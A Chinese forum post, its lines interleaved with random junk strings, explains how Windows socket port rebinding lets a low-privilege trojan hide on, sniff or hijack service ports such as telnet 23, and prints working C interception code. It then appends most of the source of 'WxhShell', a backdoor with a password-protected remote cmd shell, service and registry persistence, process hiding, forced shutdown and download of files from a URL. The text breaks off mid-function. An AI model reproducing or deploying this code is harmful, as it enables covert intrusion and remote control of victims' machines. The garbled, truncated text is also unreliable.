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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kcP&''  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <}%gZ:Z6g  
'=UsN_@  
  saddr.sin_family = AF_INET; Qqp=  
xz}=C:s  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i>=y3x"  
 >6'brb  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \obM}caT  
I.1(qbPkF+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~b 9fk)z!  
]/Cu,mX  
  这意味着什么?意味着可以进行如下的攻击: I$f'BAw  
djDE0-QxcR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K3`48,`?wA  
oho~?.F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |YrvY1d!  
+4k4z:<n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3e|,Z'4}4  
XE;aJ'kt  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o H]FT{  
l^v,X%{Iz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 / KKA/  
6/|"y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2VkA!o4nP  
31mlnDif  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5pq9x4&  
)GJlQ1x  
  #include p5bM/{DP;K  
  #include n:%A4*  
  #include {G _|gs  
  #include    2*0n#" L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q0TKM >  
  int main() iBqIV  
  { *G,r:Bnb  
  WORD wVersionRequested; QtfLJ5vi  
  DWORD ret; Q8bn|#`  
  WSADATA wsaData; [Mlmn$it  
  BOOL val; CdiL{zH\3  
  SOCKADDR_IN saddr; P/8z  
  SOCKADDR_IN scaddr; E>qehs,g  
  int err; 4\2~wSr  
  SOCKET s; A Zv| |8p  
  SOCKET sc; *q(HW  
  int caddsize; ,CnUQx0  
  HANDLE mt;  SwmX_F#_  
  DWORD tid;   B4;P)\ 2  
  wVersionRequested = MAKEWORD( 2, 2 ); 8hvh xp  
  err = WSAStartup( wVersionRequested, &wsaData ); (OHd} YQ  
  if ( err != 0 ) { m{0u+obi&w  
  printf("error!WSAStartup failed!\n"); C,3yu,'  
  return -1; )hK1W\5  
  } LY(h>`  
  saddr.sin_family = AF_INET; )1]LoEdm`  
   &bS!>_9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pXHeUBY.  
& A@ !g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ki|w?0s  
  saddr.sin_port = htons(23); aV?r%'~Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vghn+P8  
  { c9;oB|8|  
  printf("error!socket failed!\n"); lpeo^Y}N  
  return -1; XY`2>7  
  } }sS1 p6z  
  val = TRUE; <2R xyoDL6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~b{j`T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -<B{?D  
  { J*O$)K%Hx  
  printf("error!setsockopt failed!\n"); 8rsv8OO  
  return -1; "Q<*H<e  
  } 4WV)&50  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &:)e   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Gu9x4p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Li\BRlebR{  
s *1%I$=@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ZI#Xh5  
  { oJTsrc_ -  
  ret=GetLastError(); 4i o02qd 4  
  printf("error!bind failed!\n"); 7?JcB?G4  
  return -1; abM4G  
  }  %;9+`U  
  listen(s,2); ;]^JUmxU[d  
  while(1) 1)m&6:!b  
  { ,W/D0  
  caddsize = sizeof(scaddr); gJ>HFid_C  
  //接受连接请求 }ZWeb#\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q<cpU'-#  
  if(sc!=INVALID_SOCKET) v{2 Vg  
  { \]:NOmI^'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O09g b[  
  if(mt==NULL) L5|;VH  
  { ( =/L#Yg_  
  printf("Thread Creat Failed!\n"); VqT[ca\  
  break; +#"Ic:  
  } |q b92|?  
  } hnL gsz  
  CloseHandle(mt); 2X |jq4  
  } 7Z:l;%]K  
  closesocket(s); Evgq}3  
  WSACleanup(); +A3\Hj&W  
  return 0; :qKY@-t7H  
  }   E6\~/=X=%  
  DWORD WINAPI ClientThread(LPVOID lpParam) [ #fqyg  
  { (dnc7KrM  
  SOCKET ss = (SOCKET)lpParam; ill'K Py  
  SOCKET sc; 3T^dgWXEG  
  unsigned char buf[4096]; t-m,~IoW  
  SOCKADDR_IN saddr; i]WlMC6  
  long num; ^7<mlr  
  DWORD val; N28?JQha  
  DWORD ret; 3$f5][+U  
  //如果是隐藏端口应用的话,可以在此处加一些判断 90k|u'ikOp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6? ly. h$  
  saddr.sin_family = AF_INET; &=O1Qg=K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _( /lBf{|  
  saddr.sin_port = htons(23); Olh-(u:9+O  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \(t>(4s_~  
  { JT_B@TO\  
  printf("error!socket failed!\n"); 3Ya6yz  
  return -1; yp'>+cLa  
  } @a3v[}c*  
  val = 100; "< R 2oo)^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #$T"QL@  
  { euC,]n.  
  ret = GetLastError(); $ !=:ES  
  return -1; [`dipLkr  
  } Upen/1bA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 70(?X/5#  
  { CUcjJ|MZ  
  ret = GetLastError(); zhL,BTH  
  return -1; bncFrzp#o  
  } 4u7>NQUDu  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .?]_yX  
  { > PA,72e   
  printf("error!socket connect failed!\n"); !}48;Pl  
  closesocket(sc); DMW:%h{  
  closesocket(ss); P$(}}@  
  return -1; l_EI7mJ  
  } rJj~cPwL"  
  while(1) (j"MsCwE  
  { TnAX;+u  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S3wH M  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w+P^c|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bd}SB-D  
  num = recv(ss,buf,4096,0); pSUp"wch  
  if(num>0) I/|n ma/ $  
  send(sc,buf,num,0); 63$m& ]x  
  else if(num==0) N Q=YTRU  
  break; Z_+No :F7I  
  num = recv(sc,buf,4096,0); _"`h~jB  
  if(num>0) P://Zi6>  
  send(ss,buf,num,0); 5)6%D  
  else if(num==0) Bk <P~-I  
  break; r U5'hK  
  } KR0 x[#.*  
  closesocket(ss); w7u >|x!  
  closesocket(sc); [N)M]u  
  return 0 ; " z{w^k  
  } OK(d&   
h65j,v6B  
&.B6P|N'  
========================================================== p60D{UzU  
# w6CL  
下边附上一个代码,,WXhSHELL Fwqf4&/  
c-d}E!C:  
========================================================== !f 6  
W9"I++~f  
#include "stdafx.h" eH{ 9w8~  
EVsZ:Ra^k  
#include <stdio.h> W[s>TDc`v  
#include <string.h> V ;jz0B  
#include <windows.h> ^ EOjq  
#include <winsock2.h> ibyA~YUN/  
#include <winsvc.h> Pa<X^&  
#include <urlmon.h> VWa(@ A  
IIkJ"Qg.  
#pragma comment (lib, "Ws2_32.lib") v!Z9T  
#pragma comment (lib, "urlmon.lib") $(U|JR@  
u7d]%<~'$F  
#define MAX_USER   100 // 最大客户端连接数 J7xmf,76w  
#define BUF_SOCK   200 // sock buffer ':3KZ4/C  
#define KEY_BUFF   255 // 输入 buffer  \Z':hw  
m@ YL Z  
#define REBOOT     0   // 重启 nmr>Aj8[  
#define SHUTDOWN   1   // 关机 7}k8-:a%  
{QID@  
#define DEF_PORT   5000 // 监听端口 >YLm]7v}  
`Z-`-IL  
#define REG_LEN     16   // 注册表键长度 S6]':  
#define SVC_LEN     80   // NT服务名长度 jxvVp*-=<j  
q]x@q  
// 从dll定义API ?F/3]lsggT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); il~,y8WTU{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K@m^QioMj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i7FEjjGtG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iweP3u##  
#82B`y<<y/  
// wxhshell配置信息 9=|5-? ^  
struct WSCFG { ^;a[v^&9  
  int ws_port;         // 监听端口 yWzTHW`)Mr  
  char ws_passstr[REG_LEN]; // 口令 \ (,2^T'$J  
  int ws_autoins;       // 安装标记, 1=yes 0=no L6m'u6:1{  
  char ws_regname[REG_LEN]; // 注册表键名 Q*he%@w  
  char ws_svcname[REG_LEN]; // 服务名 <  -Nj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8/:\iPk0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c\Dv3bF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B !XT:.+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t.cplJF&Ue  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (I$hw"%&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /y}  
F}X_I  
}; +"!IVHY  
wQ5__"D  
// default Wxhshell configuration oW6.c]Vo  
struct WSCFG wscfg={DEF_PORT, STI8[e7{  
    "xuhuanlingzhe", gisZmu0  
    1, Xy._&&pt  
    "Wxhshell", T4[eBO  
    "Wxhshell", /vu7;xVG  
            "WxhShell Service", jzQgD ed ]  
    "Wrsky Windows CmdShell Service", B4hR3%  
    "Please Input Your Password: ", IoC,\$s,  
  1, ?^dyQhb  
  "http://www.wrsky.com/wxhshell.exe", M<SZ7^9<  
  "Wxhshell.exe" .FeEK(  
    }; TtzB[F  
H_{Yr+p  
// 消息定义模块 !59q@M ya[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R#0UwRjeF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C-8@elZ1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :0J;^@   
char *msg_ws_ext="\n\rExit."; -{dw Ll_  
char *msg_ws_end="\n\rQuit."; s^cHR1^  
char *msg_ws_boot="\n\rReboot..."; hQ9VcS6=gD  
char *msg_ws_poff="\n\rShutdown..."; , vWcWT  
char *msg_ws_down="\n\rSave to "; ^W^%PJ D |  
*p"%cas  
char *msg_ws_err="\n\rErr!"; 2?&h{PA+  
char *msg_ws_ok="\n\rOK!"; B{44|aq1|  
d2pVO]l YZ  
char ExeFile[MAX_PATH]; >6c{CYuT  
int nUser = 0; ;e+ErN`a.~  
HANDLE handles[MAX_USER]; ).\%a h  
int OsIsNt; L9T|*?||  
=oBV.BST u  
SERVICE_STATUS       serviceStatus; tlj^0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]'hz+V31%  
:V&#Oo  
// 函数声明 $aEL>, X  
int Install(void); %k9GoX_  
int Uninstall(void); {Wt=NI?Ow  
int DownloadFile(char *sURL, SOCKET wsh); F8q|$[nH  
int Boot(int flag); |(]XZ!{  
void HideProc(void); {D$+~ lO  
int GetOsVer(void); W 5-=,t  
int Wxhshell(SOCKET wsl); @I9A"4Im  
void TalkWithClient(void *cs); "~XAD(T6  
int CmdShell(SOCKET sock); up1kg>i%"  
int StartFromService(void); _qr?v=,-A  
int StartWxhshell(LPSTR lpCmdLine); QN":Qk(,q  
b}WU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *4]}_ .rG#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); af)L+%Q%R  
ta %yQd7  
// 数据结构和表定义 O|d"0P  
SERVICE_TABLE_ENTRY DispatchTable[] = Lc=t,=OhGe  
{ f-^JI*hj  
{wscfg.ws_svcname, NTServiceMain}, C h>r.OfP  
{NULL, NULL} f<<1.4)oSV  
}; a0~LZQ?  
]@0C1 r  
// 自我安装 uWkW T.>$  
int Install(void)  Vmt$]/  
{ 0.+MlyA  
  char svExeFile[MAX_PATH]; qx|~H'UuBN  
  HKEY key; c~SR@ZU  
  strcpy(svExeFile,ExeFile); Zcjh  
\8g'v@$wG  
// 如果是win9x系统,修改注册表设为自启动 <- L}N '  
if(!OsIsNt) { #A\@)wJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \,D>zF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xPCRT*Pd  
  RegCloseKey(key); 9(6f:D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t^ Ge "  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #x*\dL  
  RegCloseKey(key); TophV}@B`  
  return 0; jl9hFubwW  
    } Ogv9_ X8  
  } x n?$@  
} F/V -@SF  
else { 6 dgwsl~  
xIA]5@;a  
// 如果是NT以上系统,安装为系统服务 V_zU?}lZ^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :er(YWF:  
if (schSCManager!=0) agt/;>q\~  
{ 9A~w2z\G  
  SC_HANDLE schService = CreateService M0yv= g  
  ( ?zex]!R  
  schSCManager, bMn)lrsX  
  wscfg.ws_svcname, ~y{_NgMo  
  wscfg.ws_svcdisp, pu~b\&^G  
  SERVICE_ALL_ACCESS, S4\a"WYg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [;H-HpBaa  
  SERVICE_AUTO_START, R:4@a ':H  
  SERVICE_ERROR_NORMAL, JkhWLQ>o  
  svExeFile, 3^[P  
  NULL, OClG dFJ|  
  NULL, =p^$>o  
  NULL, E;}&2 a  
  NULL, u@1 2:U$  
  NULL }`kiULC'=  
  ); w"5Eyz-eO  
  if (schService!=0) p#).;\M   
  { l^Ob60)2  
  CloseServiceHandle(schService); 3~{I/ft  
  CloseServiceHandle(schSCManager);  9u^M{6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .W^B(y(tA  
  strcat(svExeFile,wscfg.ws_svcname); yX4 Vv{g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?z`={oN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l]4=W<N  
  RegCloseKey(key);  $TfB72  
  return 0; &#L C'  
    } <3!Al,!ej@  
  } ;89kL]  
  CloseServiceHandle(schSCManager); {.542}A  
} -nXP<v=V  
} Q66 +  
 V1B!5N<  
return 1; vo f8bQ{&  
} 2HtsSS#0Q  
]L97k(:Ib  
// 自我卸载 ]f#s`.A~  
int Uninstall(void) x(._?5  
{ w%.hALN5-C  
  HKEY key; kN.;;HFq#  
OL>)SJj5  
if(!OsIsNt) { -Y@tx fu-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]o8]b7-  
  RegDeleteValue(key,wscfg.ws_regname); :~ pGHl  
  RegCloseKey(key); o>_})WM1[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /1MmOB  
  RegDeleteValue(key,wscfg.ws_regname); gzIx!sc  
  RegCloseKey(key); *mzi ?3  
  return 0; 2uOYuM[7gH  
  } 5>I-? Ki  
} 5X20/+aT  
} 3Rc*vVnI  
else { -T,?'J0 2  
Q]YB.n3   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z~#;[bER  
if (schSCManager!=0) ^K;k4oK  
{ M@R"-$Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z#Mm4(KNh  
  if (schService!=0) mY.v:  
  { eAfi!!Z<  
  if(DeleteService(schService)!=0) { $AZYY\1  
  CloseServiceHandle(schService); <Z]#vr q  
  CloseServiceHandle(schSCManager); moM? aYm  
  return 0; !&{rnK  
  } %rylmioW>  
  CloseServiceHandle(schService); QselW]  
  } Kcm+%p^  
  CloseServiceHandle(schSCManager); 5tYo! f  
} H)Btm  
} K6kz{R%`  
3>KEl^1DB  
return 1; 8M99cx*K  
} wXKtQ#o}  
xU.1GI%UPu  
// 从指定url下载文件 sp,-JZD  
int DownloadFile(char *sURL, SOCKET wsh) krUtOVI  
{ wtw=RA  
  HRESULT hr; 2!{D~Gfl=  
char seps[]= "/"; 6kYluV+j  
char *token; ,^:{!?v  
char *file; lL}NiN-)t  
char myURL[MAX_PATH]; nGH6D2!F  
char myFILE[MAX_PATH]; )0VL$A  
G?s9c0f  
strcpy(myURL,sURL); 7?*+,Fo#  
  token=strtok(myURL,seps); P_(8+)ud-  
  while(token!=NULL) fpR|+`k  
  {  0k (-  
    file=token; <tD,Uu{P  
  token=strtok(NULL,seps);  [E1qv;   
  } }u_D{bz  
w"j>^#8  
GetCurrentDirectory(MAX_PATH,myFILE); Anz{u$0M[  
strcat(myFILE, "\\"); `D4Wg<,9  
strcat(myFILE, file); E_ wVAz3  
  send(wsh,myFILE,strlen(myFILE),0); ;z'&$#pA  
send(wsh,"...",3,0); '(.5!7?Qc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]3LLlXtK[  
  if(hr==S_OK) "wgPPop  
return 0; "t0^4=c+7  
else M& ZKc  
return 1; !D=!  
Fi i(dmn  
} 3"h*L8No  
Ui'v ' $  
// 系统电源模块 ;/Hr ZhOE  
int Boot(int flag) GHsDZ(d3.  
{ L^JU{\C  
  HANDLE hToken; %Psg53N  
  TOKEN_PRIVILEGES tkp; 1aAOT6h  
c8&3IzZ  
  if(OsIsNt) { eKiDc=@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Wd'}YbC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o@)Fy51DD  
    tkp.PrivilegeCount = 1; 1S?~ c25=h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HZ9>4G3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JN8Rh  
if(flag==REBOOT) { zqA>eDx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;>PHkJQ  
  return 0; wq?"NQ?O<  
} S)EF&S(TC  
else { $n<1D -0!r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lf=G  
  return 0; :W)lt28_  
} ^&;,n.X5Z  
  } <-1:o*8:}  
  else { )7.)fY$  
if(flag==REBOOT) { =X'[r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XpANaqH\  
  return 0; |sGJum&=  
} Uh0g !zzp  
else { {iyJ HY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #x.v)S  
  return 0; !$NK7-  
} ]G i&:k  
} x_3B) &9  
2sGKn a  
return 1; 9,8/DW.K  
} Wrp~OF0k  
nReIi;pi  
// win9x进程隐藏模块 -3ePCAtXbe  
void HideProc(void) 4rDV CXE  
{ LGc8w>qE  
{>km]CG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :?UcD_F  
  if ( hKernel != NULL ) * K$ U[$s  
  { .-YE(}^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @:im/SE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <<-L,0  
    FreeLibrary(hKernel); @q!T,({kx  
  } v{$?Ow T/u  
;HCK iHC  
return; r], %:imGr  
} qMEd R;o  
r\QV%09R  
// 获取操作系统版本 K Zg NL|  
int GetOsVer(void) ZklO9Ox(  
{ .RmFYV0,  
  OSVERSIONINFO winfo; )*_G/<N) |  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yT:2*sZRc  
  GetVersionEx(&winfo); k5>UAea_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kxJs4BY0  
  return 1; Zrwd  
  else ?Sh"%x  
  return 0; q{V e%8$"  
} ..Dm@m}  
^>%.l'1/(  
// 客户端句柄模块 5MG4S  
int Wxhshell(SOCKET wsl) %h(%M'm?  
{ IG|u;PH<  
  SOCKET wsh; 'DXT7|Df  
  struct sockaddr_in client; tJ_Y6oFm=  
  DWORD myID; X*MK(aV3  
f6J]=9jU  
  while(nUser<MAX_USER) Wgs6}1b g  
{ ]@21KO  
  int nSize=sizeof(client); =}tomN(F~[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =c 9nC;C  
  if(wsh==INVALID_SOCKET) return 1; >o13?-S%e  
I*j~5fsS'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U:99w  
if(handles[nUser]==0) U]+IP;YS  
  closesocket(wsh); Kg~D~ +j  
else ez9F!1  
  nUser++; "*/IP9?]  
  } `%~}p7Zu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5nBJj  
b&@]f2 /  
  return 0; J~J+CGT~2  
} D1+1j:m  
/Z]nV2$n)V  
// 关闭 socket F5+F O^3E  
void CloseIt(SOCKET wsh) x>mI$K(6M  
{ L'a+1O1q&i  
closesocket(wsh); %m/lPL  
nUser--; ,[ppETz  
ExitThread(0); doTbol?+  
} SIm1fC  
4~A$u^scn  
// 客户端请求句柄 VJw7defc  
void TalkWithClient(void *cs) ts(u7CJd  
{ yogL8V-^4  
m;4ti9  
  SOCKET wsh=(SOCKET)cs; {HM[ )t0  
  char pwd[SVC_LEN]; C7R3W,  
  char cmd[KEY_BUFF]; 'bLP#TAzf  
char chr[1]; At[Q0'jkc  
int i,j; )N~ p4kp  
*k#"@  
  while (nUser < MAX_USER) { &QD)1b[U  
t}I@Rmso  
if(wscfg.ws_passstr) { CV^%'HIs?+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'MX|=K!C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Oq% TW|a#  
  //ZeroMemory(pwd,KEY_BUFF); T<>B5G~%  
      i=0; {T^D&i# o  
  while(i<SVC_LEN) { T=~d. &J  
FXY>o>K%h  
  // 设置超时 oL R/\Y(  
  fd_set FdRead; S?`0,F  
  struct timeval TimeOut; x ~)~v?>T  
  FD_ZERO(&FdRead); {*n<A{$[ m  
  FD_SET(wsh,&FdRead); ?mC'ZYQI  
  TimeOut.tv_sec=8; o ~y{9Q  
  TimeOut.tv_usec=0; Y)lr+~84f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gQSVPbzK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;CS[Ja>e  
8Uh|V&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mE{QTZS  
  pwd=chr[0]; Op9 ^Eu%n  
  if(chr[0]==0xd || chr[0]==0xa) { b"#S92R+  
  pwd=0; @+zWLq!1pB  
  break; CeOA_M  
  } ]D5Maid+  
  i++; MUZ]*n&0  
    } i" u|119  
1Zp/EYWa{  
  // 如果是非法用户,关闭 socket #l&*&R~>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t@#5 G* _Q  
} `)]W~  
"]p&7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YwY?tOxBe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 19(x$=:  
^|vk^`S  
while(1) { 6W3oIt  
qHe H/e%`V  
  ZeroMemory(cmd,KEY_BUFF); \VIY[6sn\M  
q[P>s{"  
      // 自动支持客户端 telnet标准   JBw2#ry  
  j=0; ZGX"Vn|YL  
  while(j<KEY_BUFF) { {W{;VJKQ2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z)~?foe'  
  cmd[j]=chr[0]; /<[_V/g[t?  
  if(chr[0]==0xa || chr[0]==0xd) { !F~1+V>zP  
  cmd[j]=0; TBJ?8W(  
  break; h7K,q  S  
  } [bo"!Qk%  
  j++; YZOwr72VL  
    } OPq|4xu  
 Jn|<G  
  // 下载文件 #k>n5cR@0  
  if(strstr(cmd,"http://")) { k:~UBs\)(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p}!)4EI=  
  if(DownloadFile(cmd,wsh)) `g(#~0R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); af6<w.i  
  else 6?US<<MQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @%u}|iF|  
  } @|ZUyat  
  else { >a2[P"   
]P7gEBi  
    switch(cmd[0]) { ]x8Y]wAU&{  
  |SMigSu r`  
  // 帮助 8,+T[S  
  case '?': { @(x]+*)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t W   
    break; Dqwd=$2%  
  } .*YOyK3H  
  // 安装 VY~*QF~P  
  case 'i': { :u=y7[I  
    if(Install()) Ux" ^3D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uW[AnQ1w  
    else zN+jn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G&wYV[Ln  
    break; y<`:I|y  
    } 0VR,I{<.{  
  // 卸载 g_tEUaiK  
  case 'r': { y}U'8*,  
    if(Uninstall()) GP ^^ K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' t(#HBU  
    else +dq2}gM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n.5M6i/~a  
    break; A~?)g!tS<  
    } d@Bd*iI<  
  // 显示 wxhshell 所在路径 J$jLGy&'  
  case 'p': { 1,Pg^Xu  
    char svExeFile[MAX_PATH]; d--6<_q  
    strcpy(svExeFile,"\n\r"); (l2n%LL]*  
      strcat(svExeFile,ExeFile); DBvozTsF~  
        send(wsh,svExeFile,strlen(svExeFile),0); +W[{UC4b  
    break; 98zJ?NaD&  
    } |P9)*~\5  
  // 重启 UAI'tRY N_  
  case 'b': { ;uZq_^?:9&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jM{5nRQ  
    if(Boot(REBOOT)) 3dtL[aVwY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0H'G./8  
    else { (8W ?ym  
    closesocket(wsh); \Y:zg3q*  
    ExitThread(0); 1Sns$t%b  
    } 5HAAaI  
    break; <1~_nt~(*  
    } &)!N5Veb  
  // 关机 1F2(MKOo!  
  case 'd': { yWH!v]S  
